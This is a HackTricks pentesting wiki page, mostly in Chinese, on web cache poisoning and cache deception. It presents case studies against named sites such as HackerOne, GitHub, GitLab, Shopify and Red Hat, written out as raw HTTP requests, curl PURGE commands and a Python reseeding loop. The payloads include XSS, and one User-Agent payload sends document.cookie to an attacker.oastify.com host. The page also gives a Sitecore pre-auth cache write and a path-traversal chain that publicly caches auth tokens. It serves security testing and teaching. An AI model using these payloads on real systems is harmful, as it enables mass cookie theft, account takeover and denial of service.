Cache Poisoning and Cache Deception

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

查看 订阅计划!

加入 💬 Discord 群组 或 Telegram 群组 或在 Twitter 🐦 上关注我们 @hacktricks_live.

通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。

The difference

What is the difference between web cache poisoning and web cache deception?

在 web cache poisoning 中，攻击者使应用将一些恶意内容存入缓存，这些内容随后从缓存中提供给其他应用用户。

在 web cache deception 中，攻击者使应用将属于其他用户的敏感内容存入缓存，然后攻击者从缓存中检索该内容。

Cache Poisoning

Cache poisoning 的目标是操纵客户端缓存，使客户端加载出乎意料的、部分的或由攻击者控制的资源。影响范围取决于受影响页面的受欢迎程度，因为被篡改的响应只会在缓存受污染期间提供给访问该页面的用户。

cache poisoning 的实施包括几个步骤：

Identification of Unkeyed Inputs：这些是一些参数，虽然不需要它们请求就能被缓存，但它们可以改变服务器返回的响应。识别这些输入很重要，因为它们可能被利用来操纵缓存。
Exploitation of the Unkeyed Inputs：在识别出未键控输入后，下一步是弄清楚如何滥用这些参数以修改服务器响应，从而使其对攻击者有利。
Ensuring the Poisoned Response is Cached：最后一步是确保被修改的响应被存入缓存。这样，任何在缓存被污染期间访问受影响页面的用户都会收到被篡改的响应。

Discovery: Check HTTP headers

通常，当响应被存入缓存时，会有一个指示性的 header，你可以在这篇文章中查看应关注哪些 header：HTTP Cache headers。

Discovery: Caching error codes

如果你怀疑响应被存入了缓存，可以尝试发送带有错误 header 的请求，这类请求通常会返回 status code 400。然后尝试正常访问该请求，如果响应是 400 状态码，说明它可能存在漏洞（并且你甚至可以执行 DoS）。

You can find more options in:

Cache Poisoning to DoS

不过，请注意有时这些类型的状态码不会被缓存，因此此测试可能并不可靠。

Discovery: Identify and evaluate unkeyed inputs

你可以使用 Param Miner 对可能改变页面响应的参数和 headers 进行暴力枚举。例如，页面可能使用 header X-Forwarded-For 来指示客户端从那里加载脚本：

<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>

诱导后端服务器返回有害响应

确定了参数/头后，检查它如何被过滤（sanitised）以及在哪里被反射或影响响应。你能否滥用它（执行 XSS 或加载由你控制的 JS 代码？发起 DoS？…）

让响应进入缓存

一旦你确认了可以被滥用的页面、要使用的参数/header以及如何滥用它，就需要让该页面被缓存。根据你尝试缓存的资源，这可能需要一些时间，你可能需要持续尝试几秒钟。

响应头 X-Cache 可能非常有用，因为当请求未被缓存时它的值可能是 miss，当被缓存时可能是 hit。
响应头 Cache-Control 也很有意义，可以用来判断资源是否被缓存以及下一次资源会在什么时候被再次缓存：Cache-Control: public, max-age=1800

另一个有趣的头是 Vary。该头常用于指示额外的 header 被视为缓存键的一部分，即使这些 header 通常不被用作键。因此，如果攻击者知道目标受害者的 User-Agent，就可以针对使用该特定 User-Agent 的用户进行缓存投毒。

另一个与缓存相关的头是 Age。它定义了对象在代理缓存中存在的秒数。

在缓存请求时，要小心你使用的 headers，因为其中一些可能会被意外地用作键，而受害者需要使用相同的 header。始终使用不同的浏览器来测试 Cache Poisoning，以确认它是否生效。

基础的 cache poisoning 案例研究

HackerOne 通过 `X-Forwarded-Host` 的全局重定向

origin 使用 X-Forwarded-Host 模板化重定向和规范 URL，但缓存键仅使用了 Host 头，因此单个响应就毒害了所有访问 / 的访客。
投毒方式：

GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com

立即在不带伪造头的情况下重新请求 /；如果重定向仍然存在，你就拥有了一个全局的主机欺骗原语，它常常会将反射型重定向/Open Graph 链接升级为持久化问题。

通过 `Content-Type` + `PURGE` 对 GitHub 仓库造成 DoS

匿名流量的键仅基于路径，而后端在看到意外的 Content-Type 时会进入错误状态。该错误响应会被缓存，影响到每个未认证的仓库用户。
GitHub 还（意外地）支持 PURGE 方法，允许攻击者清除一个健康条目并强制缓存按需拉取被污染的变体：

curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo

始终比较 authenticated 与 anonymous 的 cache keys，fuzz 那些很少被用作键的 headers（例如 Content-Type），并探测是否暴露了 cache-maintenance verbs，以便自动化 re-poisoning。

Shopify cross-host persistence loops

Multi-layer caches 有时需要多次相同的命中（identical hits）才能提交新的对象。Shopify 在众多本地化 hosts 上复用了相同的 cache，因此 persistence 意味着会影响许多 properties。
使用短的 automation loops 来反复 reseed：

import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)

在收到 hit 响应后，爬取共享相同缓存命名空间的其他主机/资产，以演示跨域影响范围。

JS 资源重定向 → stored XSS 链

私有程序通常在数十个子域上托管共享的 JS（例如 /assets/main.js）。如果 X-Forwarded-Host 会影响这些资源的重定向逻辑但未被校验，缓存的响应会变成指向攻击者 JS 的 301，从而在该资源被导入的所有地方触发 stored XSS。

GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com

映射哪些主机重用相同的 asset path，以便你可以证明 multi-subdomain compromise。

GitLab 静态 DoS 通过 `X-HTTP-Method-Override`

GitLab 从 Google Cloud Storage 提供静态 bundle，后者会尊重 X-HTTP-Method-Override。将 GET 覆盖为 HEAD 会返回可缓存的 200 OK 且 Content-Length: 0，并且 edge cache 在生成缓存 key 时忽略了 HTTP method。

GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD

单个请求将 JS bundle 替换为空内容，针对每个 GET 请求有效地对 UI 进行了 DoSing。始终针对静态资源测试方法覆盖（X-HTTP-Method-Override, X-Method-Override 等），并确认缓存是否随请求方法而变化。

HackerOne static asset loop via `X-Forwarded-Scheme`

Rails’ Rack middleware 信任 X-Forwarded-Scheme 来决定是否强制使用 HTTPS。对 /static/logo.png 欺骗 http 会触发一个可缓存的 301，因此之后所有用户收到的都是重定向（或循环）而不是该资源：

GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http

在可能的情况下，将 scheme spoofing 与 host spoofing 结合起来，为高度可见的资源构造不可逆的重定向。

Cloudflare 主机头大小写不匹配

Cloudflare 将 Host 头为缓存键规范化，但会将原始大小写转发到源站。发送 Host: TaRgEt.CoM 会在源站的路由/模板处理上触发不同的行为，同时仍然填充规范的全小写缓存桶。

GET / HTTP/1.1
Host: TaRgEt.CoM

通过重放 mixed-case hosts（和其他 normalized headers），并 diff cached response 与 origin response，来枚举 CDN tenants，以发现 shared-platform cache poisonings。

Red Hat Open Graph meta poisoning

将 X-Forwarded-Host 注入到 Open Graph 标签中，在 CDN 缓存页面后，会把反射型 HTML 注入变为存储型 XSS。测试时使用无害的 cache buster 以避免影响生产用户：

GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>

Social media scrapers 会消费 cached Open Graph tags，因此单个被投毒的条目会把 payload 传播得远远超出直接访问者。

利用示例

最简单的示例

像 X-Forwarded-For 这样的 header 在响应中未经消毒地被反射。
你可以发送一个基本的 XSS payload 并投毒缓存，这样所有访问该页面的人都会被 XSSed：

GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"

Note that this will poison a request to /en?region=uk not to /en

生成带有分隔符、规范化和点的差异

查看：

Cache Poisoning via URL discrepancies

Cache poisoning with path traversal to steal API key

This writeup explains 说明如何使用像 https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 这样的 URL 窃取 OpenAI API key，原因是任何匹配 /share/* 的内容会被缓存，而 Cloudflare 并未对 URL 执行规范化（normalising），该规范化是在请求到达 web server 时才进行的。

这在下面也有更好的解释：

Cache Poisoning via URL discrepancies

Using multiple headers to exploit web cache poisoning vulnerabilities

有时你需要 exploit several unkeyed inputs 才能滥用缓存。例如，如果你将 X-Forwarded-Host 设置为你控制的域名，并将 X-Forwarded-Scheme 设置为 http，你可能会发现一个 Open redirect。如果服务器将所有 HTTP 请求 重定向到 HTTPS，并且在重定向时使用 X-Forwarded-Scheme 作为重定向的域名，那么你就可以控制该重定向指向的位置。

GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http

利用受限的 `Vary`header

如果你发现 X-Host 头被用作 加载 JS 资源的域名，但响应中的 Vary 头表明 User-Agent，那么你需要找到一种方法来 exfiltrate 受害者的 User-Agent 并使用该 User-Agent 来 poison the cache：

GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com

Fat Get

发送一个 GET 请求，同时在 URL 和请求体中都包含请求内容。如果 web 服务器使用请求体中的值，但 cache 服务器缓存的是 URL 中的值，那么任何访问该 URL 的人实际上会使用来自请求体的参数。就像 James Kettle 在 Github 网站上发现的那个 vuln：

GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22

report=innocent-victim

这里有一个 Portswigger lab 相关的实验: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get

Parameter Cloacking

例如，在 ruby 服务器上可以使用字符 ; 而不是 & 来分隔 parameters。这可以用于将 unkeyed parameters 的值放入 keyed parameters 中并滥用它们。

Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking

Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling

在此了解如何执行 Cache Poisoning attacks by abusing HTTP Request Smuggling。

Automated testing for Web Cache Poisoning

可使用 Web Cache Vulnerability Scanner 来自动检测 Web Cache Poisoning。它支持多种不同的技术并且高度可定制。

Example usage: wcvs -u example.com

Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)

这种真实世界的模式将基于 header 的反射原语与 CDN/WAF 行为链在一起，以可靠地污染缓存的 HTML，从而提供给其他用户：

主 HTML 将不受信任的请求 header（例如 User-Agent）反射到可执行的上下文中。
CDN 会去除 cache headers，但存在内部/源（origin）缓存。CDN 还会自动缓存以静态扩展名结尾的请求（例如 .js），而 WAF 对用于静态资源的 GET 请求应用了较弱的内容检测。
请求流的怪异行为允许对 .js 路径的请求影响随后的主 HTML 所使用的 cache key/variant，从而通过 header 反射实现跨用户 XSS。

Practical recipe (observed across a popular CDN/WAF):

从一个干净的 IP（避免先前基于声誉的降级）出发，通过浏览器或 Burp Proxy 的 Match & Replace 设置恶意的 User-Agent。
在 Burp Repeater 中，准备一组两个请求并使用 “Send group in parallel”（单包模式效果最好）：

第一个请求：向相同 origin 的 .js 资源路径发起 GET，同时发送你恶意的 User-Agent。
紧接着：GET 主页面（/）。

CDN/WAF 的路由竞争加上自动缓存的 .js 常常会播种出被污染的缓存 HTML 变体，然后对其他满足相同 cache key 条件（例如相同的 Vary 维度如 User-Agent）的访问者进行服务。

Example header payload (to exfiltrate non-HttpOnly cookies):

User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"

操作提示：

许多 CDN 隐藏缓存头；中毒可能只在数小时的刷新周期时可见。使用多个 vantage IP 并进行节流以避免 rate-limit 或 reputation 触发。
使用来自 CDN 自身 cloud 的 IP 有时能改善路由一致性。
如果存在严格的 CSP，只要反射在主 HTML 上下文中执行且 CSP 允许 inline execution 或被上下文绕过，该方法仍然有效。

影响：

如果会话 cookies 不是 HttpOnly，可以通过对所有被提供被投毒 HTML 的用户进行 mass-exfiltrating document.cookie 来实现 zero-click ATO。

Sitecore 预认证 HTML cache poisoning (不安全的 XAML Ajax reflection)

一种特定于 Sitecore 的模式允许通过滥用 pre‑auth XAML handlers 和 AjaxScriptManager reflection，对 HtmlCache 进行未认证写入。当触发 Sitecore.Shell.Xaml.WebControl handler 时，会有一个 xmlcontrol:GlobalHeader（派生自 Sitecore.Web.UI.WebControl）可用，并允许以下反射调用：

POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

这会在攻击者选择的 cache key 下写入任意 HTML，一旦 cache key 已知即可进行精确的中毒。

For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):

Sitecore

易受攻击的示例

Apache Traffic Server (CVE-2021-27577)

ATS 在不剥离 fragment 的情况下转发了 URL 中的 fragment，并且只使用 host、path 和 query 来生成 cache key（忽略 fragment）。因此请求 /#/../?r=javascript:alert(1) 被发送到后端时仍为 /#/../?r=javascript:alert(1)，而 cache key 中没有该 payload，只有 host、path 和 query。

403 与存储桶

Cloudflare 曾经缓存 403 响应。尝试使用错误的 Authorization header 访问 S3 或 Azure Storage Blobs 会导致返回一个被缓存的 403 响应。尽管 Cloudflare 已停止缓存 403 响应，但其他代理服务中可能仍然存在该行为。

注入带键的参数

Caches 经常在 cache key 中包含特定的 GET 参数。例如，Fastly 的 Varnish 在请求中缓存了 size 参数。但是，如果也发送了该参数的 URL 编码版本（例如 siz%65）并带有错误的值，cache key 会使用正确的 size 参数来构建。然而，后端会处理 URL 编码参数中的值。对第二个 size 参数进行 URL 编码会导致它被 cache 忽略但被后端使用。将该参数赋值为 0 会导致可缓存的 400 Bad Request 错误。

User Agent 规则

一些开发者为了控制服务器负载，会阻止 user-agents 与高流量工具（如 FFUF 或 Nuclei）匹配的请求。讽刺的是，这种做法可能引入诸如 cache poisoning 和 DoS 的漏洞。

RFC7230 指定了 header 名称中可接受的字符。包含超出指定 tchar 范围字符的 header 理想情况下应当触发 400 Bad Request 响应。但在实际中，服务器并不总是遵守该标准。一个显著的例子是 Akamai，它会转发包含非法字符的 header，并缓存任何 400 错误，只要不存在 cache-control header。发现了一个可利用的模式：发送带有非法字符（例如 \）的 header 会导致可缓存的 400 Bad Request 错误。

https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6

Cache Deception

The goal of Cache Deception is to make clients load resources that are going to be saved by the cache with their sensitive information.

首先注意，像 .css、.js、.png 等扩展名通常被配置为存储在 cache 中。因此，如果你访问 www.example.com/profile.php/nonexistent.js，cache 很可能会因为看到 .js 扩展名而存储该响应。但如果 application 在响应中回放存储于 www.example.com/profile.php 的敏感用户内容，你就可以从其他用户那里窃取这些内容。

其他可测试项：

www.example.com/profile.php/.js
www.example.com/profile.php/.css
www.example.com/profile.php/test.js
www.example.com/profile.php/../test.js
www.example.com/profile.php/%2e%2e/test.js
Use lesser known extensions such as .avif

另一个非常清晰的示例见此 write-up: https://hackerone.com/reports/593712.
在该示例中，解释了如果你加载一个不存在的页面，比如 http://www.example.com/home.php/non-existent.css，则 http://www.example.com/home.php 的内容（含有用户的敏感信息）将被返回且 cache server 会保存该结果。
随后，攻击者可以在自己的浏览器中访问 http://www.example.com/home.php/non-existent.css 并观察到之前访问过的用户的机密信息。

注意 cache proxy 应被配置为基于文件的扩展名（例如 .css）来缓存文件，而不是基于 content-type。在示例中 http://www.example.com/home.php/non-existent.css 的 content-type 会是 text/html，而不是 text/css。

Learn here about how to perform Cache Deceptions attacks abusing HTTP Request Smuggling.

CSPT-assisted authenticated cache poisoning (Account Takeover)

This pattern combines a Client-Side Path Traversal (CSPT) primitive in a Single-Page App (SPA) with extension-based CDN caching to publicly cache sensitive JSON that was originally only available via an authenticated API call.

总体思路：

一个敏感的 API endpoint 需要自定义的 auth header 并且在 origin 被正确标记为 non-cacheable。
在路径后追加一个看起来静态的后缀（例如 .css）会让 CDN 将该路径视为静态资源并缓存响应，通常不会基于敏感 header 变化。
SPA 包含 CSPT：它将一个用户控制的路径段拼接到 API URL 中，同时携带受害者的 auth header（例如 X-Auth-Token）。通过注入 ../.. traversal，带认证的 fetch 被重定向到可缓存的路径变体（…/v1/token.css），导致 CDN 将受害者的 token JSON 缓存为一个公开的 key。
任何人随后都可以在不认证的情况下 GET 相同的 cache key 并检索到受害者的 token。

Example

Sensitive endpoint (non-cacheable at origin):

GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}

看起来像静态的后缀会使 CDN 将其标记为可缓存：

GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json

HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}

CSPT 在 SPA 中附加 auth header 并允许 traversal:

const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');

const apiUrl = `https://api.example.com/v1/users/info/${userId}`;

fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});

利用链：

引诱受害者访问注入了点分段(dot-segments)到 SPA 路径参数的 URL，例如：

https://example.com/user?userId=../../../v1/token.css

SPA 发出带认证的 fetch 到：

https://api.example.com/v1/users/info/../../../v1/token.css

浏览器归一化后解析为：

https://api.example.com/v1/token.css

CDN 将 .css 视为静态资源并缓存该 JSON，带有 Cache-Control: public, max-age=…
公共检索：任何人都可以 GET https://api.example.com/v1/token.css 并获取被缓存的 token JSON。

前置条件

SPA 对相同 API origin（或在跨域且 CORS 可用的情况下对 cross-origin）执行带认证的 fetch/XHR 并附带敏感 headers 或 bearer tokens。
Edge/CDN 对看起来像静态的路径（例如 .css、.js、图片）应用基于扩展名的缓存，并且在敏感 header 上不改变缓存键。
基础端点的 origin 本身不可缓存（正确），但带扩展名的变体被允许或未被边缘规则阻止。

验证检查表

识别敏感的动态端点并尝试以 .css、.js、.jpg、.json 等后缀。检查是否返回 Cache-Control: public/max-age 和 X-Cache: Hit（或等价项，如 CF-Cache-Status），同时内容仍为 JSON。
定位客户端代码，查找将用户可控输入拼接到 API 路径中并同时附带 auth headers 的地方。注入 ../ 序列将带认证的请求重定向到目标端点。
确认在重定向后的请求中存在认证 header（例如通过代理或服务器端日志），并且 CDN 在穿越路径下缓存了响应。
使用干净上下文（无认证），请求相同路径并确认秘密 JSON 是从缓存中提供的。

Automatic Tools

toxicache: Golang scanner，用于在 URL 列表中查找 web cache poisoning 漏洞并测试多种注入技术。
CacheDecepHound: Python scanner，旨在检测 web 服务器中的 Cache Deception 漏洞。

References

Tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

查看 订阅计划!

加入 💬 Discord 群组 或 Telegram 群组 或在 Twitter 🐦 上关注我们 @hacktricks_live.

通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。